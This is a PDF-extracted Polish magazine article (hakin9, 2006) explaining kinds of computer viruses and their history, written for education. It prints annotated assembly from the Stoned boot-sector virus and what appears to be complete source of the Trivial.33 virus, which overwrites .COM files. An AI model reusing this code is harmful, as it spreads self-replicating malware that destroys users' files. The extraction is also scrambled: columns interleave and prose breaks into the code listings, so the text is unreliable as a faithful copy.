Rodzaje wirusĂłw komputerowych.pdf

(662 KB) Pobierz
6584573 UNPDF
Rodzaje wirusów
komputerowych
Bartłomiej Rudzki, Piotr Modzelewski
Artykuł w formie elektronicznej pochodzi z magazynu hakin9 Nr 5/2006 . Wszelkie prawa zastrzeżone.
Rozpowszechnianie artykułu bez zgody Software Wydawnictwo Sp. z o.o. Zabronione.
Magazyn hakin9 , Software-Wydawnictwo, ul. Bokserska 1, 02-682 Warszawa , pl@hakin9.org
6584573.022.png
Rodzaje wirusów
komputerowych
Teoria
Bartłomiej Rudzki, Piotr Modzelewski
stopień trudności
Jednym z najgłośniejszych tematów związanych z informatyką
poruszanych w mediach jest aspekt wirusów komputerowych.
Wirusy, a dokładniej cała grupa niebezpiecznych programów
nazywanych angielskim terminem malware, jest bardzo
wdzięcznym tematem dla prasy i telewizji: niszczą dane,
wywołują spektakularne ataki skutkujące gigantycznymi stratami
inansowymi, wywołują panikę u ludzi.
przełomu lat 50 i 60 XX wieku, kiedy to
amerykański naukowiec John von Neu-
mann, znany jako konstruktor pierwszej bomby
atomowej, rozpoczął badania na temat samo-
powielających się automatów. Dało to naukowe
podstawy budowy samoczynnie rozprzestrze-
niających się programów komputerowych, któ-
re później zostały nazwane wirusami.
Pierwszy znany wirus komputerowy poja-
wił się w 1970, kiedy to w sieci wojskowej AR-
PANET pojawił się program Creeper . Był on
napisany pod system operacyjny TENEX. Po-
traił nawiązać połączenie modemowe i sko-
piować do zdalnego systemu. Zainfekowa-
ne systemy wyświetlały tekst I’m the creeper:
catch me if you can . (ang. Jestem CREEPER:
złap mnie jeśli zdołasz ). Ciekawostką jest
fakt, iż szybko pojawił się program Reaper ,
który wyszukiwał i niszczył Creepera.
Od tamtego czasu coraz częściej po-
jawiało się szkodliwe oprogramowanie, na
przykład Rabbit , Elk Cloner lecz dopiero w
1983 roku, Len Adleman, naukowiec Lehigh
University po raz pierwszy zaproponował na-
zwę wirus oznaczającą samopowielający się
program.
Pierwszym wirusem dla komputerów PC był
Brain napisany w 1986 r. przez braci Basita i
Amjada Farooq Alvi z Pakistanu. Był to prosty
wirus infekujący boot-sektory dyskietek o po-
jemności 360 KB. Jego działanie ograniczało
się do zmiany etykiety dysku na (c) Brain . War-
to zauważyć, że Brain był również pierwszym
wirusem, który potraił się ukrywać. Po wykry-
ciu próby odczytu zainfekowanego sektora, wi-
rus wyświetlał oryginalne, niezainfekowane da-
ne. W przeciwieństwie do samego wirusa, je-
go twórcom nie zależało na anonimowości – w
kodzie wirusa zostawili swoje nazwiska, adres i
numery telefonów.
Z artykułu dowiesz się...
• czym są wirusy komputerowe,
• jak rozwijały się na przestrzeni lat,
• jak wirus zaraża komputer,
• jak zmniejszyć ryzyko zarażenia.
Powinieneś wiedzieć...
• podstawy języka assembler
• podstawy architektury mikroprocesorów x86.
56
hakin9 Nr 5/2006
www.hakin9.org
H istoria wirusów komputerowych sięga
6584573.023.png 6584573.024.png 6584573.025.png
Rodzaje wirusów komputerowych
Dalej poszło już szybko: w 1987
roku nastąpiła pierwsza infekcja ska-
li światowej przez wirus Vienna , w
1988 powstał pierwszy internetowy
robak Roberta Morisa, a w 1989 tro-
jan AIDS zainfekował ponad 10000
dyskietek. W 1992 roku pojawiła się
pierwsza histeria medialna dotyczą-
ca wirusa Michelangelo , oprogramo-
wania które 6 marca, tj. w urodziny
Michała Anioła, aktywowało się, a
następnie niszczyło logiczną struktu-
rę dysków opartych na systemie pli-
ków FAT.
Połowa lat 90 to czas w którym
główne zagrożenie stanowiły wirusy
napisane jako makro do MS Ofice,
popularnie znane jako makrowirusy
oraz pierwsze wirusy dla systemu
Windows 95 (na przykład W95.Bo-
za ). Kolejne lata zdążyły wszystkich
przyzwyczaić do masowych ataków:
w 1998 wirus W95/CIH napisany
przez studenta z Tajwanu Chen Ing-
Hau, który zainfekował około 600
000 komputerów, w 1999 pierwszy
robak napisany jako makro MS Word
Melissa wywołał 385 milionów do-
larów strat.
Ostatnie lata to okres szybko roz-
przestrzeniających się robaków in-
ternetowych wykorzystujących luki w
systemach operacyjnych. W dzisiej-
szych czasach ataki są powszech-
ne, korporacje wprowadziły procedu-
ry związane z ochroną antywirusową
a nazwy wirusów takie jak: ILoveYou ,
CodeRed , Blaster , MyDoom czy Sas-
ser stały się powszechnie znane.
Listing 1. Fragment kodu wirusa Stoned
START3 : XOR AX , AX ; Początek zainfekowanego boot-sektora
MOV DS , AX ; DS=SS=0
CLI ; wyłączenie przerwań na czas zmiany stosu
MOV SS , AX
MOV SP , 7C00H ; ustawienie stosu na 0000:7C00
STI ; przywrócenie przerwań
MOV AX , WORD PTR ds : [ INT13_OFF ] ;pobranie obecnego wektora
przerwania 13h
MOV [ OLD_INT13_OFF ] , AX ; i zapisanie go w celu późniejszego
użycia
MOV AX , WORD PTR ds : [ INT13_Seg ]
MOV [ OLD_INT13_SEG ] , AX
MOV AX , [ MEM_SIZE ] ; pobranie rozmiaru pamięci (w KB)
DEC AX ; odjęcie 2KB
DEC AX
MOV [ MEM_SIZE ] , AX ; zapisanie zmienionego rozmiaru
MOV CL , 6 ; Zmiana rozmiaru pamięci na wartość segmentu
SHL AX , CL
MOV ES , AX ; i zapamiętanie w rejestrze es
MOV [ HIMEM_SEG ] , AX ; oraz w zmiennej
MOV AX , OFFSET INT_13h - 7C00h ; nadpisanie przerwania 13h
MOV WORD PTR DS : [ INT13_OFF ] , AX
MOV WORD PTR DS : [ INT13_SEG ] , ES
MOV CX , OFFSET END_VIRUS - 7C00h
PUSH CS
POP DS
XOR SI , SI ;SI=DI=0
MOV DI , SI
CLD
REP MOVSB ; załadowanie wirusa do pamięci wysokiej
JMP DWORD PTR CS : [ HIMEM_OFS - 7C00h ] ; i wykonanie jego kodu
HIMEM :
MOV AX , 0 ; zresetowanie dysku
INT 13h
XOR AX , AX
MOV ES , AX ;ES=0
MOV AX , 201h ; przygotowanie do załadowania oryginalnego boot-
sektora
MOV BX , 7C00h
CMP BYTE PTR CS : [ DRIVE_NO - 7C00H ] , 0 ; z którego dysku startujemy
JE FLOPPY_BOOT ; z dyskietki
HARD_BOOT :
MOV CX , 7 ; z dysku twardego
MOV DX , 80h ; odczytanie Cyl 0, Hd 0, Sec 7
INT 13h ; gdzie jest zapisany oryginalny boot-sektor
JMP SHORT GO_BOOT ; i skok do tego miejsca
NOP
Wirusy dyskowe
Typowy dysk twardy komputera PC
podzielony jest od strony izycznej
na cylindry, ścieżki i sektory oraz
od strony logicznej na partycje, któ-
rym system operacyjny przydziela
unikalne nazwy. W przypadku sys-
temów MS-DOS i Windows NT są
to litery C:, D:, itd. System operacyj-
ny jest obecnie ładowany najczęściej
z dysku twardego lub z sieci, jednak
w przypadku wczesnych systemów
operacyjnych komputery korzystały z
dyskietek systemowych. ROM-BIOS
odczytywał pierwszy sektor dyskiet-
ki, ładował go do pamięci pod adres
[0000:7C00] i wykonywał załadowa-
FLOPPY_BOOT : MOV CX , 3 ; z dyskietki
MOV DX , 100H ;odczytanie Cyl 0, Hd 1, Sec 3
INT 13h ; gdzie jest zapisany oryginalny boot-sektor
JC GO_BOOT ; skok, jesli błąd
TEST BYTE PTR ES : [ TIMER ] , 7 ; w 1/8 przypadków wypisujemy
komunikat
JNZ MESSAGE_DONE
MOV SI , OFFSET STONED_MSG1 - 7C00H
PUSH CS
POP DS ;DS=CS
ny kod. Stwarzało to ogromne moż-
liwości dla rozpowszechniania wiru-
sów, których kod mógł być załado-
wany do pamięci przed załadowa-
niem systemu operacyjnego. Pręd-
kość rozprzestrzeniania infekcji była
jednak ograniczona faktem, iż wirus
mógł się znaleźć na innym kompute-
rze wyłącznie poprzez użycie zainfe-
kowanej dyskietki startowej.
www.hakin9.org
hakin9 Nr 5/2006
57
 
6584573.001.png 6584573.002.png 6584573.003.png
 
Teoria
Rysunek 1. Wirus nadpisujący (a)
kie wirusy są bardzo szybko wykry-
wane przez użytkowników, dlatego ta
metoda ma większy potencjał, jeże-
li jest wykorzystywana w środowisku
sieciowym.
Nadpisywanie części kodu nosi-
ciela własnym kodem jest metodą in-
fekcji trudniejszą do wykrycia. Plik taki
nie zmienia swojego rozmiaru na dys-
ku a jednocześnie czasami jest wyko-
nywany poprawnie. Ta metoda infekcji
jest wykorzystywana przez tzw. małe
wirusy. Na początku lat dziewięćdzie-
siątych twórcy wirusów starali się napi-
sać jak najkrótsze wirusy binarne. Re-
zultatem ich wysiłków jest m.in. rodzi-
na Trivial . Najkrótszy z tych wirusów
ma długość tylko 22 bajtów, jednak je-
go kod jest w dużej mierze oparty na
niepewnych założeniach odnośnie po-
czątkowej zawartości rejestrów proce-
sora. Na listingu przedstawiony został
jeden z najprostszych a jednocześnie
niekorzystający z takich założeń wa-
riant wirusa.
Innym rzadkim wariantem wiru-
sów nadpisujących są wirusy nadpi-
sujące plik nosiciela w losowym miej-
scu (np. rosyjski wirus Omud ). Oczy-
wiście wirus nie ma żadnej pewno-
ści, że zostanie wykonany, a jedno-
cześnie w większości przypadków
uszkadza nosiciela w stopniu niepo-
Rysunek 2. Wirus nadpisujący (b) – Trivial
Na nowszych systemach wystę-
puje główny rekord startowy (ang. ma-
ster boot record MBR ). Zajmuje 512
bajtów (446 bajtów kodu rozruchowe-
go, 4 struktury po 16 bajtów opisujące
partycje podstawowe i 2 bajty sygna-
tury 0x55AA) i umiejscowiony jest na
pierwszej ścieżce, w pierwszym cylin-
drze, w pierwszym sektorze dysku
twardego. Wirusy takie, jak: Stoned ,
Azusa , StarShip czy Tequila infekowa-
ły MBR , co powodowało ich ładowanie
podczas ładowania systemu operacyj-
nego z dysku twardego.
Wirusy dyskowe są dzisiaj prak-
tycznie niespotykane, ponieważ dys-
kietki startowe wyszły z powszech-
nego użytku. Są jednak niebezpiecz-
ne, ponieważ mogą zainfekować
komputer niezależnie od używane-
go systemu operacyjnego.
Wirusy nadpisujące
(ang. Overwriting viruses)
Wirusy nadpisujące to rodzaj wirusów,
który zastępuje całość lub część kodu
nosiciela własnym kodem. Nadpisanie
całego pliku nosiciela to bardzo prymi-
tywna metoda, ale z całą pewnością
najprostsza. Może również spowodo-
wać olbrzymie problemy, jeżeli nadpi-
sane zostały pliki na całym dysku. Ta-
Listing 2. Kod wirusa Trivial.33
.MODEL TINY
.CODE
ORG 100h
begin :
LEA DX , COM_FILES ; znalezienie pliku *.COM
MOV AH , 4Eh
INT 21h
MOV AX , 3D02h ; otwarcie pliku do odczytu/zapisu
MOV CX , ( OFFSET EOF - OFFSET BEGIN ) ; 33 bajty
MOV DX , 9Eh ; pierwszy plik w DTA
INT 21h
Wirusy plikowe
Wirusy infekujące pliki to najczęściej
spotykany rodzaj wirusów. Zazwy-
czaj po wykonaniu kodu wirusa, plik
będący nosicielem odzyskuje kontro-
lę nad przepływem sterowania i jego
działanie jest niezakłócone. To po-
zwala wirusom na dłuższe ukrycie
swojej obecności.
Wirusy plikowe możemy podzie-
lić na kilka rodzajów w zależności od
sposobu infekcji pliku nosiciela.
XCHG AX , BX
MOV DX , 100h
MOV AH , 40h ; Zapisanie kodu wirusa
INT 21h
RETN ; powrót do DOS
COM_FILES DB '*.com' , 0 ; Szukamy plików *.COM
EOF :
END BEGIN
58
hakin9 Nr 5/2006
www.hakin9.org
6584573.004.png
 
6584573.005.png
 
6584573.006.png
 
6584573.007.png 6584573.008.png
 
6584573.009.png 6584573.010.png 6584573.011.png 6584573.012.png 6584573.013.png
 
Rodzaje wirusów komputerowych
Rysunek 3. Wirus nadpisujący (c)
go punktu wejścia nagłówku pliku
NE ( New Executable – format plików
używanych w Windows 3.x), zamiast
tego szukał nazw modułów KERNEL
i VBRUN300 w tablicy referencji mo-
dułów pliku. Rekord 91 modułu KER-
NEL ( INITTASK ) oraz rekord 100
modułu VBRUN300 wskazują na
standardowy kod inicjalizacyjny, któ-
ry musi być wykonany na początku
każdej aplikacji Windows. Na przy-
kład program keyview.exe posiada
następujący wpis relokacji dla KER-
NEL.91 dla pierwszego segmentu:
Kiedy program keyview.exe zo-
stanie zainfekowany, wirus zmienia
ten rekord, aby wskazywał na nowy
segment VIRUS_SEGMENT.
Zainfekowany plik uruchamia się
tak, jak przed infekcją, ale kiedy apli-
kacja próbuje wywołać jedną z wy-
mienionych wyżej funkcji inicjaliza-
cyjnych, kontrola zostaje przekazana
do adresu, gdzie zaczyna się wirus.
Segment VIRUS_SEGMENT po-
siada trzy rekordy relokacji. Jeden z
nich wskazuje na oryginalną funkcję
inicjalizacyjną. W ten sposób wirus
jest w stanie wywołać oryginalny kod
po wykonaniu swojego.
W systemach 32-bitowych tech-
niki EPO stały się bardzo zaawan-
sowane. Większość metod infekcji
znanych w systemach 16-bitowych
została z powodzeniem przeniesio-
na na nowe platformy (np. rodzina
W32/Idele infekowała pliki PE na po-
dobnej zasadzie jak Tentacle_II infe-
kował pliki NE ).
zwalającym na poprawne wykonanie
jego kodu. Dlatego infekcje tego typu
wirusami mają ograniczony zasięg.
Istnieją również wirusy nadpi-
sujące te fragmenty pliku nosiciela,
które nie są wykorzystywane pod-
czas normalnego uruchomienia (np.
wyrównanie sekcji w pliku PE czy
wyrównanie instrukcji przez kompi-
latory C bajtami 0CCh).
pisane są w językach wysokiego po-
ziomu (np. C , Pascal lub Delphi ).
Czasem wykorzystują pliki tymcza-
sowe do przechowywania zawarto-
ści oryginalnego programu.
Wirusy EPO
Wirusy EPO (ang. Entry-Point Ob-
scuring - ukrywanie punktu wejścia)
to wirusy, które nie zmieniają adre-
su pierwszej wykonywanej instrukcji,
nie zmieniają również samej instruk-
cji zapisanej pod tym adresem. Za-
miast tego analizują wykonanie kodu
programu (tak, jak robią to debugge-
ry) i w pewnym miejscu kodu wyko-
nują skok (poprzez instrukcję CALL
lub przy użyciu sztuczki polegającej
na umieszczeniu na stosie adresu i
wykonaniu polecenia RET ; powoduje
to również wykonanie instrukcji pod
żądanym adresem).
Jednym z pierwszych wirusów
EPO była rodzina Tentacle_II dzia-
łająca pod systemem Windows 3.x.
Wirus ten nie zmieniał oryginalne-
Wirusy dopisywane do pliku
nosiciela
Bardzo typową infekcją plików COM
w systemie operacyjnym DOS jest
wstawienie instrukcji skoku ( JMP ) na
początku nosiciela. Skok jest wyko-
nywany do kodu wirusa umieszczo-
nego za całym kodem programu.
Nadpisane instrukcją skoku bajty (od
3 do 16) umieszczane są pod koniec
kodu wirusa. Przy uruchomieniu pro-
gramu wykonywany jest kod wirusa,
zapamiętane bajty są ładowane w
pamięci do miejsca, gdzie wystąpiła
instrukcja skoku (plik jest “leczony” w
pamięci) i przepływ sterowania wra-
ca do początku programu – wykony-
wany jest oryginalny program.
Ta technika może być wykorzy-
stywana w każdym typie pliku wyko-
nywalnego ( EXE , NE , PE , ELF , itd.).
Pliki takie posiadają nagłówek, w
którym zapisany jest początek kodu
zamieniany podczas infekcji na in-
strukcje skoku do kodu wirusa.
Wirusy mogą być również dopi-
sywane na początek pliku nosiciela.
Takie wirusy są bardziej skompliko-
wane niż opisane wcześniej, ponie-
waż poprawne wykonanie kodu nosi-
ciela musi być zapewnione przez po-
nowne obliczenie wykorzystywanych
adresów. Dlatego takie wirusy często
Rysunek 4. Wirus nadpisujący (d)
www.hakin9.org
hakin9 Nr 5/2006
59
 
6584573.014.png 6584573.015.png 6584573.016.png 6584573.017.png 6584573.018.png 6584573.019.png 6584573.020.png 6584573.021.png
 
Zgłoś jeśli naruszono regulamin